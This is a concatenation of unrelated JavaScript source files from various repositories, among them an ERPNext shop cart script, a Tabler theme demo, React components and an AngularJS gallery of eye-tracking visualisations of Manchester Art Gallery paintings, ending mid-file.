/* Session Function */
console.log(frappe)
/* Item group Filter */
// console.log(frappe.session.user)
$("#item_group").on("click", "td", function() {
$("#item_group a").removeClass("active");
if($( this ).text() != "All"){
$("tr").filter(".item."+$( this ).text()).css("display", "table-row") ;
$("tr").filter(".item:not(."+$( this ).text()+")").css("display", "none") ;
}else{
$("tr").filter(".item").css("display", "table-row") ;
}
});
/* Item group Filter */
/* Qty up down counter */
$('.vigieCart-tab .up_count').click(function (e) {
var set_cart = 0
var existing_stock = $('option:selected', $(this).closest('tr').find('.select_option').find("select.option")).attr('stock');
if(parseFloat(parseFloat($(this).parent().find('.counter').val()) + 1) > parseFloat(existing_stock)){
alert("This item has only "+ existing_stock +" stock")
}else{
$(this).parent().find('.counter').val(parseFloat($(this).parent().find('.counter').val()) + 1);
set_cart = 1;
}
const item_code = $(this).closest('tr').find('.select_option').find("select.option").val()
const qty =$(this).parent().find('.counter').val()
const price = parseFloat($('option:selected', $(this).closest('tr').find('.select_option').find("select.option")).attr('price'));
if($(this).closest('tr').find('input.checkmark')[0].checked && set_cart){
cart = update_local_cart(3,cart,{"item":item_code,"notes":"no notes","qty":qty,"price":price,"id":$(this).closest('tr').find('input.checkmark').attr("id")})
console.log(cart)
}
});
$('.vigieCart-tab .down_count').click(function (e) {
var existing_stock = $('option:selected', $(this).closest('tr').find('.select_option').find("select.option")).attr('stock');
const price = parseFloat($('option:selected', $(this).closest('tr').find('.select_option').find("select.option")).attr('price'));
if(parseFloat(parseFloat($(this).parent().find('.counter').val()) - 1) > parseFloat(existing_stock)){
alert("This item has only stock")
}else{
$(this).parent().find('.counter').val(parseFloat($(this).parent().find('.counter').val()) - 1);
set_cart = 1;
}
const item_code = $(this).closest('tr').find('.select_option').find("select.option").val()
const qty =$(this).parent().find('.counter').val()
if($(this).closest('tr').find('input.checkmark')[0].checked && set_cart){
cart = update_local_cart(3,cart,{"item":item_code,"notes":"no notes","qty":qty,"price":price,"id":$(this).closest('tr').find('input.checkmark').attr("id")})
console.log(cart)
}
});
/* Qty up down counter */
/* On change of option change price in table */
$(".option").on("change", function() {
const price = parseFloat($('option:selected', $(this).closest('tr').find('.select_option').find("select.option")).attr('price'));
$(this).closest('tr').find('.price').html(price)
})
/* On change of option change price in table */
/* On change of qty */
// $(".qty").on("change", function() {
// const item_code = $(this).closest('tr').find('.select_option').find("select.option").val()
// const qty = $(this).val();
// /*console.log( $(this).closest('tr').find('.select_option').find("select.option"))*/
// var existing_stock = $('option:selected', $(this).closest('tr').find('.select_option').find("select.option")).attr('stock');
// /*console.log($(this).val())
// console.log(existing_stock)*/
// if(parseFloat($(this).val()) > parseFloat(existing_stock)){
// alert("This item has only stock")
// }
// if($(this).closest('tr').find('input.checkmark')[0].checked){
// cart = update_local_cart(3,cart,{"item":item_code,"notes":"no notes","qty":qty})
// console.log(cart)
// }
// })
/* On change of qty */
/* On change of checkbox */
$("input[type='checkbox']").change(function() {
// console.log(frappe.user)
if(frappe.user == "Guest") {
alert("Please Login First!")
if(localStorage) {
localStorage.setItem("last_visited", window.location.pathname);
}
window.location.href = "/login";
}
console.log($(this).closest('tr').find('.select_option').find("select.option").val())
var item_code = $(this).closest('tr').find('.select_option').find("select.option").val()
var additional_notes ="no notes"
var qty = parseFloat($(this).closest('tr').find('.qty').val());
var price = parseFloat($('option:selected', $(this).closest('tr').find('.select_option').find("select.option")).attr('price'));
var cart_total = parseFloat($("#total").text())
if(this.checked) {
$(this).closest('tr').find('.select_option').find("select.option").prop('disabled', 'disabled');
cart = update_local_cart(1,cart,{"item":item_code,"notes":additional_notes,"qty":qty,"price":price,"id":$(this).attr("id")})
console.log(cart)
}else{
console.log("unchecked")
$(this).closest('tr').find('.option').prop('disabled', false);
cart = update_local_cart(2,cart,{"item":item_code,"notes":additional_notes,"qty":qty,"price":price,"id":$(this).attr("id")})
console.log(cart)
}
});
/* On change of checkbox */
/* Add to cart click event */
$("#add_to_cart").on("click", function() {
var cart_item = []
cart.forEach(element => {
cart_item.push({"item_code":element.item,"qty":element.qty});
});
shopping_cart_update(cart_item)
// window.location.href = "/cart";
})
/* Add to cart click event */
});
/* Update local cart function */
function update_local_cart(case_option,cart,ops=null){
switch(case_option) {
case 1:
cart.push(ops)
break;
case 2:
for (let i = 0; i < cart.length; i++) {
const element = cart[i];
if(element['item'] == ops.item){
cart.splice(i, 1);
// element['qty'] = 0
}
}
break;
case 3:
for (let i = 0; i < cart.length; i++) {
const element = cart[i];
if(element['item']==ops.item){
element['qty'] = parseFloat(ops.qty)
}
}
break;
default:
}
var total = 0
cart.forEach(element => {
total = total + (parseFloat(element.price)*parseFloat(element.qty))
});
$("#total").text(parseFloat(total))
// cart.forEach(opts => {
// shopping_cart_update (opts)
// });
sessionStorage.setItem("cart",JSON.stringify(cart));
sessionStorage.setItem("total", total);
return cart
}
/* Update local cart function */
/* Update erpnext cart function */
async function shopping_cart_update (opts) {
if(frappe.session.user ==="Guest") {
if(localStorage) {
localStorage.setItem("last_visited", window.location.pathname);
}
window.location.href = "/login";
} else {
console.log(opts)
$("#add_to_cart").prop('disabled', true);
frappe.freeze();
return frappe.call({
type: "POST",
method: "organic_shop.organic_cart.update_cart_custom",
args: {"items":opts,"with_items":1},
btn: opts.btn,
callback: function(r) {
console.log(r.message)
set_cart()
frappe.unfreeze();
$("#add_to_cart").prop('disabled',false);
$('#view_cart').removeAttr('hidden');
}
});
// let result = await erpnext.shopping_cart.update_cart({
// item_code:opts.item,
// additional_notes:opts.additional_notes,
// qty: opts.qty
// });
// return result
}
}
function set_cart() {
var cart_count = frappe.get_cookie("cart_count");
if(frappe.session.user==="Guest") {
cart_count = 0;
}
if(cart_count) {
$(".shopping-cart").toggleClass('hidden', false);
}
var $cart = $('.cart-icon');
var $badge = $cart.find("#cart-count");
if(parseInt(cart_count) === 0 || cart_count === undefined) {
$cart.css("display", "none");
$(".cart-items").html('Cart is Empty');
$(".cart-tax-items").hide();
$(".btn-place-order").hide();
$(".cart-addresses").hide();
}
else {
$cart.css("display", "inline");
}
if(cart_count) {
$badge.html(cart_count);
} else {
$badge.remove();
}
}
/* Update erpnext cart function */
| 33.399351 | 173 | 0.514436 |
06476ee4f3ef7bf63b236cc7346b741a563af8fd | 2,061 | js | JavaScript | js/zonas.js | vmeloni/Trabajo_Final_CoderHouse_Js | 98070cfefe4278a378d40ea9b24d0a228eda01d7 | [
"MIT"
] | null | null | null | js/zonas.js | vmeloni/Trabajo_Final_CoderHouse_Js | 98070cfefe4278a378d40ea9b24d0a228eda01d7 | [
"MIT"
] | null | null | null | js/zonas.js | vmeloni/Trabajo_Final_CoderHouse_Js | 98070cfefe4278a378d40ea9b24d0a228eda01d7 | [
"MIT"
] | null | null | null | class Zonas {
constructor (zona,precio,entrega){
this.zona = zona;
this.precio = precio;
this.entrega = entrega;
}
agregarZona_lista (div_id){
let div = document.createElement("li");
div.innerHTML = `
<div class="row">
<div class="col-4 zona-items"> ${this.zona}</div>
<div class="col-4 zona-items"> $ ${this.precio}</div>
<div class="col-4 zona-items"> ${this.entrega}</div>
</div>
`;
document.getElementById(div_id).appendChild(div);
}
}
const zona1 = new Zonas ("San Telmo", 0.00 ,"24 hs");
const zona2 = new Zonas ("Retiro", 100, "24 hs");
const zona3 = new Zonas ("Monserrat", 100, "24 hs");
const zona4 = new Zonas ("Puerto Madero", 100, "24 hs");
const zona5 = new Zonas ("Barrio Norte", 130, "24 hs");
const zona6 = new Zonas ("Almagro", 150, "48 hs");
const zona7 = new Zonas ("San Nicolás", 130, "24 hs");
const zona8 = new Zonas ("Palermo", 150, "48 hs");
const baseDeDatosZonas = [zona1, zona2, zona3, zona4, zona5, zona6, zona7, zona8] ;
function ordenarZona (a, b) {
var resultado = a.zona.toLowerCase() > b.zona.toLowerCase() ? 1 :
a.zona.toLowerCase() < b.zona.toLowerCase() ? -1:0;
return resultado;
}
function iniciarZona (){
baseDeDatosZonas.sort(ordenarZona);
document.getElementById("listaDelivery").innerHTML = "";
baseDeDatosZonas.forEach(item => item.agregarZona_lista("listaDelivery"));
$("#listaDelivery").css({
"color": "var(--negro)",
"font-size": "0.8em",
});
$("#listaDelivery").html();
}
function buscadorBarrios() {
var input, filter, ul, li, a, i, txtValue;
input = document.getElementById('myInput');
filter = input.value.toUpperCase();
ul = document.getElementById("listaDelivery");
li = ul.getElementsByTagName('li');
for (i = 0; i < li.length; i++) {
a = li[i].getElementsByTagName("div")[0];
txtValue = a.textContent || a.innerText;
if (txtValue.toUpperCase().indexOf(filter) > -1) {
li[i].style.display = "";
} else {
li[i].style.display = "none";
}
}
}
iniciarZona(); | 29.442857 | 83 | 0.628821 |
0647c0f6b13923944dbbb99a3df08a1faf5c4993 | 5,742 | js | JavaScript | client/public/js/demo.min.js | mmarchois/topflop | fcb447c4ad0c776fc182a9d77df18b8135eb2f64 | [
"MIT"
] | 9 | 2019-10-08T08:30:45.000Z | 2021-05-27T17:09:27.000Z | client/public/js/demo.min.js | mmarchois/topflop | fcb447c4ad0c776fc182a9d77df18b8135eb2f64 | [
"MIT"
] | 8 | 2020-08-19T17:18:44.000Z | 2022-02-26T18:32:03.000Z | client/public/js/demo.min.js | mmarchois/topflop | fcb447c4ad0c776fc182a9d77df18b8135eb2f64 | [
"MIT"
] | 2 | 2019-10-14T07:10:52.000Z | 2019-10-21T21:47:27.000Z | /*!
* Tabler v0.9.0 (https://tabler.io)
* Copyright 2018-2019 codecalm
* Licensed under MIT (https://github.com/tabler/tabler/blob/master/LICENSE)
*/'use strict';function _classCallCheck(a,b){if(!(a instanceof b))throw new TypeError("Cannot call a class as a function")}function _defineProperties(a,b){for(var c,d=0;d<b.length;d++)c=b[d],c.enumerable=c.enumerable||!1,c.configurable=!0,"value"in c&&(c.writable=!0),Object.defineProperty(a,c.key,c)}function _createClass(a,b,c){return b&&_defineProperties(a.prototype,b),c&&_defineProperties(a,c),a}var TablerDemo=function(){function a(){var b=this;if(_classCallCheck(this,a),this.init(),this.form=document.querySelector(".js-layout-form"),this.form){this.form.addEventListener("submit",function(a){a.preventDefault(),b.onSubmitForm()});for(var c=this.form.querySelectorAll("input[type=\"radio\"]"),d=0;d<c.length;d++)c[d].addEventListener("change",function(){b.onSubmitForm()})}this.initFormControls()}return _createClass(a,[{key:"init",value:function(){this.config=this.getConfig()}},{key:"getConfig",value:function(){return{colorScheme:localStorage.getItem("tablerColorScheme")?localStorage.getItem("tablerColorScheme"):"light",navPosition:localStorage.getItem("tablerNavPosition")?localStorage.getItem("tablerNavPosition"):"side",headerColor:localStorage.getItem("tablerHeaderColor")?localStorage.getItem("tablerHeaderColor"):"light",headerFixed:localStorage.getItem("tablerHeaderFixed")?localStorage.getItem("tablerHeaderFixed"):"default",sidebarColor:localStorage.getItem("tablerSidebarColor")?localStorage.getItem("tablerSidebarColor"):"dark",sidebarSize:localStorage.getItem("tablerSidebarSize")?localStorage.getItem("tablerSidebarSize"):"default",sidebarPosition:localStorage.getItem("tablerSidebarPosition")?localStorage.getItem("tablerSidebarPosition"):"left",sidebarFixed:localStorage.getItem("tablerSidebarFixed")?localStorage.getItem("tablerSidebarFixed"):"fixed"}}},{key:"setConfig",value:function(a,b,c,d){return c&&-1!==c.indexOf(b)&&(a="tabler"+a.charAt(0).toUpperCase()+a.slice(1),localStorage.setItem(a,b),d&&d(b)),this.getConfig()}},{key:"onSubmitForm",value:function(){var a=this.form;this.toggleColorScheme(a.querySelector("[name=\"color-scheme\"]:checked").value),this.toggleNavPosition(a.querySelector("[name=\"nav-position\"]:checked").value),this.toggleHeaderColor(a.querySelector("[name=\"header-color\"]:checked").value),this.toggleSidebarSize(a.querySelector("[name=\"sidebar-size\"]:checked").value),this.toggleSidebarColor(a.querySelector("[name=\"sidebar-color\"]:checked").value),this.toggleSidebarPosition(a.querySelector("[name=\"sidebar-position\"]:checked").value),this.toggleSidebarFixed(a.querySelector("[name=\"sidebar-fixed\"]:checked").value)}},{key:"initFormControls",value:function(){var a=this.getConfig();this.toggleColorScheme(a.colorScheme),this.toggleNavPosition(a.navPosition),this.toggleHeaderColor(a.headerColor),this.toggleSidebarPosition(a.sidebarPosition),this.toggleSidebarSize(a.sidebarSize),this.toggleSidebarColor(a.sidebarColor),this.toggleSidebarFixed(a.sidebarFixed)}},{key:"setFormValue",value:function(a,b){if(this.form){var c=this.form.querySelectorAll("[name=\"".concat(a,"\"]"));c&&(c.forEach(function(a){return a.checked=!1}),this.form.querySelector("[name=\"".concat(a,"\"][value=\"").concat(b,"\"]")).checked=!0)}}},{key:"toggleColorScheme",value:function(a){var b=this;return this.setConfig("colorScheme",a,["dark","light"],function(){"dark"===a?document.body.classList.add("theme-dark"):document.body.classList.remove("theme-dark"),b.setFormValue("color-scheme",a)})}},{key:"toggleNavPosition",value:function(a){var b=this;return this.setConfig("navPosition",a,["top","side"],function(){b.setFormValue("nav-position",a)})}},{key:"toggleSidebarPosition",value:function(a){var b=this;return this.setConfig("sidebarPosition",a,["left","right"],function(){"right"===a?document.querySelector(".js-sidebar").classList.add("navbar-right"):document.querySelector(".js-sidebar").classList.remove("navbar-right"),b.setFormValue("sidebar-position",a)})}},{key:"toggleSidebarSize",value:function(a){var b=this;return this.setConfig("sidebarSize",a,["default","folded"],function(){"folded"===a?document.querySelector(".js-sidebar").classList.add("navbar-folded"):document.querySelector(".js-sidebar").classList.remove("navbar-folded"),b.setFormValue("sidebar-size",a)})}},{key:"toggleSidebarColor",value:function(a){var b=this;return console.log("color",a),this.setConfig("sidebarColor",a,["dark","light"],function(){"dark"===a?document.querySelector(".js-sidebar").classList.add("navbar-dark"):document.querySelector(".js-sidebar").classList.remove("navbar-dark"),b.setFormValue("sidebar-color",a)})}},{key:"toggleSidebarFixed",value:function(a){var b=this;return this.setConfig("sidebarFixed",a,["fixed","default"],function(){"fixed"===a?document.querySelector(".js-sidebar").classList.add("navbar-fixed"):document.querySelector(".js-sidebar").classList.remove("navbar-fixed"),b.setFormValue("sidebar-fixed",a)})}},{key:"toggleHeaderColor",value:function(a){var b=this;return this.setConfig("headerColor",a,["dark","light"],function(){"dark"===a?document.querySelector(".js-header").classList.add("navbar-dark"):document.querySelector(".js-header").classList.remove("navbar-dark"),b.setFormValue("header-color",a)})}},{key:"toggleHeaderFixed",value:function(a){var b=this;return this.setConfig("headerFixed",a,["fixed","default"],function(){"fixed"===a?document.querySelector(".js-header").classList.add("navbar-fixed"):document.querySelector(".js-header").classList.remove("navbar-fixed"),b.setFormValue("header-fixed",a)})}}]),a}();(function(){var a=new TablerDemo;window.DEMO=a})();
//# sourceMappingURL=demo.min.js.map
| 820.285714 | 5,551 | 0.761059 |
0647e7625f7941001ac3b7020861a2c93d8a4d6f | 39 | js | JavaScript | crates/swc_ecma_minifier/tests/terser/compress/harmony/classes_can_have_computed_generators/output.terser.js | mengxy/swc | bcc3ae86ae0732979f9fbfef370ae729ba9af080 | [
"Apache-2.0"
] | 21,008 | 2017-04-01T04:06:55.000Z | 2022-03-31T23:11:05.000Z | ecmascript/minifier/tests/terser/compress/harmony/classes_can_have_computed_generators/output.terser.js | sventschui/swc | cd2a2777d9459ba0f67774ed8a37e2b070b51e81 | [
"Apache-2.0",
"MIT"
] | 2,309 | 2018-01-14T05:54:44.000Z | 2022-03-31T15:48:40.000Z | ecmascript/minifier/tests/terser/compress/harmony/classes_can_have_computed_generators/output.terser.js | sventschui/swc | cd2a2777d9459ba0f67774ed8a37e2b070b51e81 | [
"Apache-2.0",
"MIT"
] | 768 | 2018-01-14T05:15:43.000Z | 2022-03-30T11:29:42.000Z | class C4 {
*["constructor"]() {}
}
| 9.75 | 25 | 0.461538 |
0648f19ee4eabfe64e165d126ad19c5daa4c22db | 1,691 | js | JavaScript | src/layouts/Main/components/Sidebar/components/UserInfo/UserInfo.js | tuevo/Hero-Academy-Client | 7af621afdc45c48b31a83b0f1233d5809a3b5ec7 | [
"MIT"
] | null | null | null | src/layouts/Main/components/Sidebar/components/UserInfo/UserInfo.js | tuevo/Hero-Academy-Client | 7af621afdc45c48b31a83b0f1233d5809a3b5ec7 | [
"MIT"
] | null | null | null | src/layouts/Main/components/Sidebar/components/UserInfo/UserInfo.js | tuevo/Hero-Academy-Client | 7af621afdc45c48b31a83b0f1233d5809a3b5ec7 | [
"MIT"
] | null | null | null | import { Avatar, Typography } from '@material-ui/core';
import { makeStyles } from '@material-ui/styles';
import clsx from 'clsx';
import { availablePages } from 'constants/global.constant';
import { userRole } from 'constants/user-role.constant';
import * as _ from 'lodash';
import PropTypes from 'prop-types';
import React from 'react';
import { useSelector } from 'react-redux';
import { Link as RouterLink } from 'react-router-dom';
import { shallowEqual } from 'recompose';
const useStyles = makeStyles(theme => ({
root: {
position: 'relative',
zIndex: 5,
display: 'flex',
flexDirection: 'column',
alignItems: 'center',
minHeight: 'fit-content'
},
avatar: {
width: '3.375rem',
height: '3.375rem',
marginTop: theme.spacing(2)
},
name: {
marginTop: theme.spacing(1)
}
}));
const UserInfo = props => {
const { className, ...rest } = props;
const classes = useStyles();
const userState = useSelector(state => ({
authUser: state.user.authUser
}), shallowEqual);
return (
<div
{...rest}
className={clsx(classes.root, className)}
>
<Avatar
alt="Person"
className={classes.avatar}
component={RouterLink}
src={userState.authUser.avatarUrl}
to={availablePages.PROFILE.path}
/>
<Typography
className={classes.name}
variant="h5"
>
{userState.authUser.fullName}
</Typography>
<Typography variant="body2">
{_.find(userRole, role => role.value === userState.authUser.role).name}
</Typography>
</div>
);
};
UserInfo.propTypes = {
className: PropTypes.string
};
export default UserInfo;
| 23.816901 | 79 | 0.628031 |
0649d0754bdb38c6f530e6694a535127f9e1da56 | 896 | js | JavaScript | src/components/loader/LoadingIndicator.js | hashnir007/ita | 646e41f2577769fc34dd04216b635c2c35721c66 | [
"MIT"
] | null | null | null | src/components/loader/LoadingIndicator.js | hashnir007/ita | 646e41f2577769fc34dd04216b635c2c35721c66 | [
"MIT"
] | null | null | null | src/components/loader/LoadingIndicator.js | hashnir007/ita | 646e41f2577769fc34dd04216b635c2c35721c66 | [
"MIT"
] | 1 | 2020-06-11T11:06:42.000Z | 2020-06-11T11:06:42.000Z | import React from "react";
import Loader from "react-loader-spinner";
import tableHeader from "../constantvalues/tableHeaders";
//Generic Loading Component - for both initial as well as component loading
function LoadingIndicator({ loaderType = tableHeader.DEFAULT_LOADER }) {
const loaderStyle =
loaderType === tableHeader.INITIAL_LOADER
? {
position: "absolute",
top: "50%",
left: "50%",
marginLeft: "-50px",
marginTop: "-50px",
}
: {
width: "100%",
height: "100",
display: "flex",
justifyContent: "center",
alignItems: "center",
};
return (
<div style={loaderStyle}>
<Loader
type={loaderType}
color={tableHeader.LOADER_COLOR}
height="100"
width="100"
/>
</div>
);
}
export default LoadingIndicator;
| 23.578947 | 75 | 0.571429 |
0649ea2692df9b4da11256c0f2901bd01e583308 | 1,172 | js | JavaScript | assets/documentation/Documentation/html/search/files_3.js | TechSupportSparky/TechSupportSparky.github.io | 82015d1ebce3ad3c6d488eae18a3fc61353cd241 | [
"CC-BY-3.0"
] | null | null | null | assets/documentation/Documentation/html/search/files_3.js | TechSupportSparky/TechSupportSparky.github.io | 82015d1ebce3ad3c6d488eae18a3fc61353cd241 | [
"CC-BY-3.0"
] | null | null | null | assets/documentation/Documentation/html/search/files_3.js | TechSupportSparky/TechSupportSparky.github.io | 82015d1ebce3ad3c6d488eae18a3fc61353cd241 | [
"CC-BY-3.0"
] | null | null | null | var searchData=
[
['doxygendata_2eh_1527',['Doxygendata.h',['../_doxygendata_8h.html',1,'']]],
['drawable_2ecpp_1528',['Drawable.cpp',['../_drawable_8cpp.html',1,'']]],
['drawable_2eh_1529',['Drawable.h',['../_drawable_8h.html',1,'']]],
['drawableattorney_2eh_1530',['DrawableAttorney.h',['../_drawable_attorney_8h.html',1,'']]],
['drawablederegistrationcommand_2ecpp_1531',['DrawableDeregistrationCommand.cpp',['../_drawable_deregistration_command_8cpp.html',1,'']]],
['drawablederegistrationcommand_2eh_1532',['DrawableDeregistrationCommand.h',['../_drawable_deregistration_command_8h.html',1,'']]],
['drawablegameobject_2eh_1533',['DrawableGameObject.h',['../_drawable_game_object_8h.html',1,'']]],
['drawablemanager_2ecpp_1534',['DrawableManager.cpp',['../_drawable_manager_8cpp.html',1,'']]],
['drawablemanager_2eh_1535',['DrawableManager.h',['../_drawable_manager_8h.html',1,'']]],
['drawableregistrationcommand_2ecpp_1536',['DrawableRegistrationCommand.cpp',['../_drawable_registration_command_8cpp.html',1,'']]],
['drawableregistrationcommand_2eh_1537',['DrawableRegistrationCommand.h',['../_drawable_registration_command_8h.html',1,'']]]
];
| 78.133333 | 140 | 0.740614 |
064a0b7d9f1611f28c128d0162292484ff5dea93 | 14,650 | js | JavaScript | js/mag.js | robdunne-uom/mag-demaa | ee3ddaddabe758fd49bc8b820ce4e72f3732dedc | [
"MIT"
] | null | null | null | js/mag.js | robdunne-uom/mag-demaa | ee3ddaddabe758fd49bc8b820ce4e72f3732dedc | [
"MIT"
] | null | null | null | js/mag.js | robdunne-uom/mag-demaa | ee3ddaddabe758fd49bc8b820ce4e72f3732dedc | [
"MIT"
] | null | null | null | /**
* Data visualisations for MAG eye tracking project
* August 2015
* @author rob.dunne@manchester.ac.uk
*/
var app = angular.module('app', []);
app.controller('dataImage', function($scope, $http, $sce) {
// Set vars
// Data for the different views
$scope.data = {
'images': {
1: {
'image': 'art/1934.2med.png',
'heatmap': 'viz/1934.2med_heatmap.jpg',
'title': 'Self-portrait, Louise Jopling R.B.A., 1877',
'text': 'A frontal bust portrait of the artist as a young woman with her hair tied up, wearing a pale coat with white collar and matching hat, set at an angle. At her neck she wears a decorative pink neck scarf. Her skin and features are smoothly and evenly painted, in comparison to her more textured clothes. She is set against a dark plain background.',
'copyright': 'n/a'
},
2: {
'image': 'art/1995.184med.png',
'heatmap': 'viz/1995.184med_heatmap.jpg',
'title': 'Release, Mark Francis, 1994',
'text': 'Semi-abstract monochrome painting based on images of chromosomes seen through an electron microscope, comprising of short black curved and squiggled lines covering the canvas in random patterns on a white ground, giving the impression of chaotic, uncontrolled movement and reproduction. The black forms are painted onto a wet white ground, which is then brushed with a broad dry brush giving a three dimensional shadowy effect. The forms are irregular in placement and shape, they include: horse-shoe shapes, bent rods and looped forms, each line has a ball on each end.',
'copyright': 'By permission of the artist Mark Francis'
},
3: {
'image': 'art/1976.79med_resized.png',
'heatmap': 'viz/1976.79med_heatmap.jpg',
'title': 'Sir Gregory Page-Turner, Pompeo Batoni, 1768',
'text': 'A portrait of an young English gentleman on the grand tour. The subject is dressed in a bright crimson coat, waistcoat and breeches with gold braiding, lace cuffs and cravat. A sword hangs at his side with only the hilt visible. He stands facing the viewer with his head turned to his right. His left arm rests on a worn map of Rome, on a green marble table top, next to an inkwell. His right arm gestures out of the picture. Behind him, on the left, a bust of Minerva, rests on the table, with a pile of books at its base. Through a window framed by drapery on the left and a fluted column on the right, the Colosseum is visible in the background.',
'copyright': 'Manchester City Galleries'
},
4: {
'image': 'art/1970.34med_resized.png',
'heatmap': 'viz/1970.34med_heatmap.jpg',
'title': 'Cheetah and Stag with Two Indians, George Stubbs, 1765',
'text': 'A painting inspired by an incident that took place in 1764, when a cheetah brought to England from India was pitched against a stag in a hunting demonstration atWindsor. The cheetah, seen in profile to the right, wears a collar, a red hood and a red belt harness tied around its abdomen; kneeling to the far side of the cheetah is one of the male figures, wearing a white robe with a single button at the neck and a turban of spotted white fabric, restraining the animal by its belt; he turns his head to the right, looking towards where the second male figure is gesturing. This figure, also with a white robe, worn over a pair of red trousers, and red shoes with extravagantly curled-up toes, has a plain white turban. He looks in the direction of the cheetah and gestures with both hands towards a stag standing behind him on the right. The stag turns its head towards the cheetah; both animals stare at one another. There is an anatomical disparity between the stags body, which is based on that of a British red deer, and its antlers, painted from those of an Indian sambar. The scene is depicted on a plateau within an imaginary landscape; to the left are dramatic cliffs atop a grassy slope, to the right, below the stag, is a river, which draws the eye into a landscape of woodland and undulating hills; the sky shows glimpses of blue through a bank of stormy clouds.',
'copyright': 'Manchester City Galleries'
},
5: {
'image': 'art/1934.394med_resized.png',
'heatmap': 'viz/1934.394med_heatmap.jpg',
'title': 'When the West with Evening Glows, Joseph Farquharson R.A., 1901',
'text': 'A snowy winter landscape, looking along a pathway through fields, with groups of trees on either side of the path in the middle-ground. Fresh footprints can be seen in the deep snow, leading away from the viewer, with three crows in the foreground by the prints. The whole scene is lit by the warm glow of the rising sun from behind the hills in the background.',
'copyright': 'Manchester City Galleries'
},
6: {
'image': 'art/1917.170med_resized.png',
'heatmap': 'viz/1917.170med_heatmap.jpg',
'title': 'Rhyl Sands, David Cox, 1854',
'text': 'A view along the length of the beach at Rhyl, which slopes down to the sea on the left and up to the town on the right of the composition. Dotted along the beach are figures, including ladies with parasols and others enjoying donkey rides.',
'copyright': 'Manchester City Galleries'
},
7: {
'image': 'art/1964.287med.png',
'heatmap': 'viz/1964.287med_heatmap.jpg',
'title': '14.6.64, John Hoyland, 1964',
'text': 'An abstract painting with four small pale semi-circular shapes in a rough chevron form against a dark green background. The top semi-circle is orange and others are yellow, red & green.',
'copyright': 'Courtesy of the Artist\'s estate / Bridgeman Art Library'
},
8: {
'image': 'art/1947.445low.png',
'heatmap': 'viz/1947.445low_heatmap.jpg',
'title': 'Cheviot Farm, Frances Mary Hodgkins, 1939',
'text': 'A farmyard scene, painted in a child-like style in subtle colours. A white and brown cow stands at the front right, next to a mowing or rollingtype machine with long brown handles. A gate or hurdle is seen behind the machine, and another white and black farm animal in the distance behind the cow. All are in a circular field or yard. To either side are farmyard buildings, the barn with a conical roof on the left being particularly visible. Behind the farm are rolling hills and trees, painted in blue, pink and brown, as opposed to the yellow tonality of the foreground.',
'copyright': 'n/a'
},
9: {
'image': 'art/1968.173med.png',
'heatmap': 'viz/1968.173med_heatmap.jpg',
'title': 'Woman and Suspended Man, Thomas Sam Haile, 1939',
'text': 'Surreal figure composition of a large, pale grey female head on the left, with frontal eyes and side profile; small half male torso to the right with legs and hips depicted, with two large eyes suspended from a thin, jagged horizontal line above. This line, and the one mirroring it above, could be understood as a horizon line or a silhouetted line of a mountainous region. This lower torso is positioned within a grey rectangle from which emerges a large abstracted pointing arm with a bulbous wrist in white, reaching towards and piercing a rectangle of dark grey. There is a small, free-floating single leg in the background between the two main figurative motifs. The background is depicted in flat grey.',
'copyright': 'Gift of Mrs Marianne Haile'
}
},
'videos': {
1: {
'image': '1934.2med.png',
'mp4': '1934.2med_reveal.mp4',
'title': 'Self-portrait gaze reveal',
'text': '1Sed vel nisi sit amet sem eleifend consectetur. Morbi sit amet nibh quis risus tempor suscipit a quis arcu. Suspendisse id finibus justo. Vivamus mauris est, bibendum ac ipsum eu, malesuada convallis felis.',
'copyright': 'IAM Lab, University of Manchester'
},
2: {
'image': '1976.79med_resized.png',
'mp4': '1976.79med_reveal.mp4',
'title': 'Sir Gregory Page-Turner gaze reveal',
'text': '2Sed vel nisi sit amet sem eleifend consectetur. Morbi sit amet nibh quis risus tempor suscipit a quis arcu. Suspendisse id finibus justo. Vivamus mauris est, bibendum ac ipsum eu, malesuada convallis felis.',
'copyright': 'IAM Lab, University of Manchester'
},
3: {
'image': '1934.394med_resized.png',
'mp4': '1934.394med_reveal.mp4',
'title': 'When the West with Evening Glows gaze reveal',
'text': '2Sed vel nisi sit amet sem eleifend consectetur. Morbi sit amet nibh quis risus tempor suscipit a quis arcu. Suspendisse id finibus justo. Vivamus mauris est, bibendum ac ipsum eu, malesuada convallis felis.',
'copyright': 'IAM Lab, University of Manchester'
},
4: {
'image': '1970.34med.jpg',
'mp4': '1970.34med_single.mp4',
'title': 'Cheetah and Stag with Two Indians single gaze', 'text': '1Sed vel nisi sit amet sem eleifend consectetur. Morbi sit amet nibh quis risus tempor suscipit a quis arcu. Suspendisse id finibus justo. Vivamus mauris est, bibendum ac ipsum eu, malesuada convallis felis.',
'copyright': 'IAM Lab, University of Manchester'
},
5: {
'image': '1970.34med.jpg',
'mp4': '1970.34med_multiple.mp4',
'title': 'Cheetah and Stag with Two Indians multiple gaze',
'text': '1Sed vel nisi sit amet sem eleifend consectetur. Morbi sit amet nibh quis risus tempor suscipit a quis arcu. Suspendisse id finibus justo. Vivamus mauris est, bibendum ac ipsum eu, malesuada convallis felis.',
'copyright': 'IAM Lab, University of Manchester'
},
6: {
'image': '1970.34med.jpg',
'mp4': '1970.34med_heatmap.mp4',
'title': 'Cheetah and Stag with Two Indians heatmap',
'text': '1Sed vel nisi sit amet sem eleifend consectetur. Morbi sit amet nibh quis risus tempor suscipit a quis arcu. Suspendisse id finibus justo. Vivamus mauris est, bibendum ac ipsum eu, malesuada convallis felis.',
'copyright': 'IAM Lab, University of Manchester'
},
7: {
'image': '1976.79med.jpg',
'mp4': '1976.79med_single.mp4',
'title': 'Sir Gregory Page-Turner single gaze', 'text': '1Sed vel nisi sit amet sem eleifend consectetur. Morbi sit amet nibh quis risus tempor suscipit a quis arcu. Suspendisse id finibus justo. Vivamus mauris est, bibendum ac ipsum eu, malesuada convallis felis.',
'copyright': 'IAM Lab, University of Manchester'
},
8: {
'image': '1976.79med.jpg',
'mp4': '1976.79med_multiple.mp4',
'title': 'Sir Gregory Page-Turner multiple gaze',
'text': '1Sed vel nisi sit amet sem eleifend consectetur. Morbi sit amet nibh quis risus tempor suscipit a quis arcu. Suspendisse id finibus justo. Vivamus mauris est, bibendum ac ipsum eu, malesuada convallis felis.',
'copyright': 'IAM Lab, University of Manchester'
},
9: {
'image': '1976.79med.jpg',
'mp4': '1976.79med_heatmap.mp4',
'title': 'Sir Gregory Page-Turner heatmap',
